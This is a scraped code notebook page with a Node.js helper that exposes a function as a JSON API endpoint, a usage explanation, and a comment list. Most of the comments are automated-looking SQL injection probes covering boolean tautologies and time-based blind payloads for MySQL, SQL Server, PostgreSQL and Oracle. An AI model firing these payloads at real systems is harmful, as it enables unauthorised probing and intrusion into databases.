Would you like to clone this notebook?
When you clone a notebook you are able to make changes without affecting the original notebook.
function jsonAPI(anExport, aFunction)
{
var tonicExpress = require("notebook")("tonic/express-endpoint/1.0.0")
var bodyParser = require('body-parser');
var app = tonicExpress(anExport)
app.set('json spaces', 2);
app.use(require('compression')())
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));
// add CORS headers, so the API is available anywhere
app.use(function(req, res, next)
{
res.header("Access-Control-Allow-Origin", "*");
res.header("Access-Control-Expose-Headers", "tonic-rate-limit-remaining");
var reqHeaders = req.get("Access-Control-Request-Headers")
if (reqHeaders) res.header("Access-Control-Allow-Headers", reqHeaders);
var reqMethods = req.get("Access-Control-Request-Methods")
if (reqMethods) res.header("Access-Control-Allow-Methods", reqMethods);
next()
})
app.all('/', async function(request, response, next)
{
try
{
var requestData = {
method: request.method,
body: request.body,
query: request.query
}
var responseData = await (aFunction.length === 1 ?
aFunction(requestData) :
new Promise(function(resolve) {
aFunction(requestData, resolve)
}))
if (responseData)
response.json(responseData)
else
response.status(201).end()
}
catch(anException)
{
response.status(500)
response.json({
message: "unable to process request",
error: anException.toString()
})
}
})
return app;
}
module.exports = jsonAPI;
This helper creates a simple JSON API that accepts JSON request data and returns a JSON response. It can be used two different ways, depending on the callback's signature. The incoming data is an object with three properties:
- "method": the request method used
- "body": the data sent in the body of the request
- "query": any query parameters sent in the request
If the "arity" (the number of arguments) of the provided callback function is 1, then you can return a response directly, or a promise that eventually resolves to the data. Here's an example use: https://tonicdev.com/tonic/json-endpoint-example-1
If the "arity" is 2, then the second parameter is a "done" callback that you should call yourself whenever you want to return a response. You can pass the response as the only argument to the callback. Here's an example use: https://tonicdev.com/tonic/json-endpoint-example-2
52 comments
- posted 7 years ago byhttps://tonicdev.com/tonic/json-endpoint-example-2
- posted a month ago by1
- posted a month ago by1
- posted a month ago by-1 OR 2+309-309-1=0+0+0+1 --
- posted a month ago by-1 OR 2+188-188-1=0+0+0+1
- posted a month ago by-1' OR 2+870-870-1=0+0+0+1 --
- posted a month ago by-1' OR 2+993-993-1=0+0+0+1 or 'ox0bcrjs'='
- posted a month ago by-1" OR 2+246-246-1=0+0+0+1 --
- posted a month ago byif(now()=sysdate(),sleep(15),0)
- posted a month ago by0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
- posted a month ago by0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
- posted a month ago by(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- posted a month ago by-1; waitfor delay '0:0:15' --
- posted a month ago by-1); waitfor delay '0:0:15' --
- posted a month ago by1 waitfor delay '0:0:15' --
- posted a month ago bywoq1OCTd'; waitfor delay '0:0:15' --
- posted a month ago by-5 OR 247=(SELECT 247 FROM PG_SLEEP(15))--
- posted a month ago by-5) OR 397=(SELECT 397 FROM PG_SLEEP(15))--
- posted a month ago by-1)) OR 477=(SELECT 477 FROM PG_SLEEP(15))--
- posted a month ago byxajhuWkc' OR 230=(SELECT 230 FROM PG_SLEEP(15))--
- posted a month ago byx6ZzJwP4') OR 264=(SELECT 264 FROM PG_SLEEP(15))--
- posted a month ago byvGJhF4Ut')) OR 622=(SELECT 622 FROM PG_SLEEP(15))--
- posted a month ago by1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- posted a month ago by1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- posted a month ago by1'"
- posted a month ago by@@nucUL
- posted 24 days ago by1
- posted 24 days ago by1
- posted 24 days ago by-1 OR 2+956-956-1=0+0+0+1 --
- posted 24 days ago by-1 OR 2+822-822-1=0+0+0+1
- posted 24 days ago by-1' OR 2+540-540-1=0+0+0+1 --
- posted 24 days ago by-1' OR 2+173-173-1=0+0+0+1 or 'GaCvIq4I'='
- posted 24 days ago by-1" OR 2+556-556-1=0+0+0+1 --
- posted 24 days ago by1*if(now()=sysdate(),sleep(15),0)
- posted 24 days ago by10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
- posted 24 days ago by10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
- posted 24 days ago by(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- posted 24 days ago by1-1; waitfor delay '0:0:15' --
- posted 24 days ago by1-1); waitfor delay '0:0:15' --
- posted 24 days ago by1-1 waitfor delay '0:0:15' --
- posted 24 days ago by1sAcXCTKV'; waitfor delay '0:0:15' --
- posted 24 days ago by1-1 OR 704=(SELECT 704 FROM PG_SLEEP(15))--
- posted 24 days ago by1-1) OR 652=(SELECT 652 FROM PG_SLEEP(15))--
- posted 24 days ago by1-1)) OR 599=(SELECT 599 FROM PG_SLEEP(15))--
- posted 24 days ago by1UcTs4IAi' OR 449=(SELECT 449 FROM PG_SLEEP(15))--
- posted 24 days ago by1hLFCdEwg') OR 924=(SELECT 924 FROM PG_SLEEP(15))--
- posted 24 days ago by1mpvTXCa7')) OR 653=(SELECT 653 FROM PG_SLEEP(15))--
- posted 24 days ago by1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- posted 24 days ago by1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- posted 24 days ago by'"
- posted 24 days ago by����%2527%2522\'\"
- posted 24 days ago by@@0HGqi
sign in to comment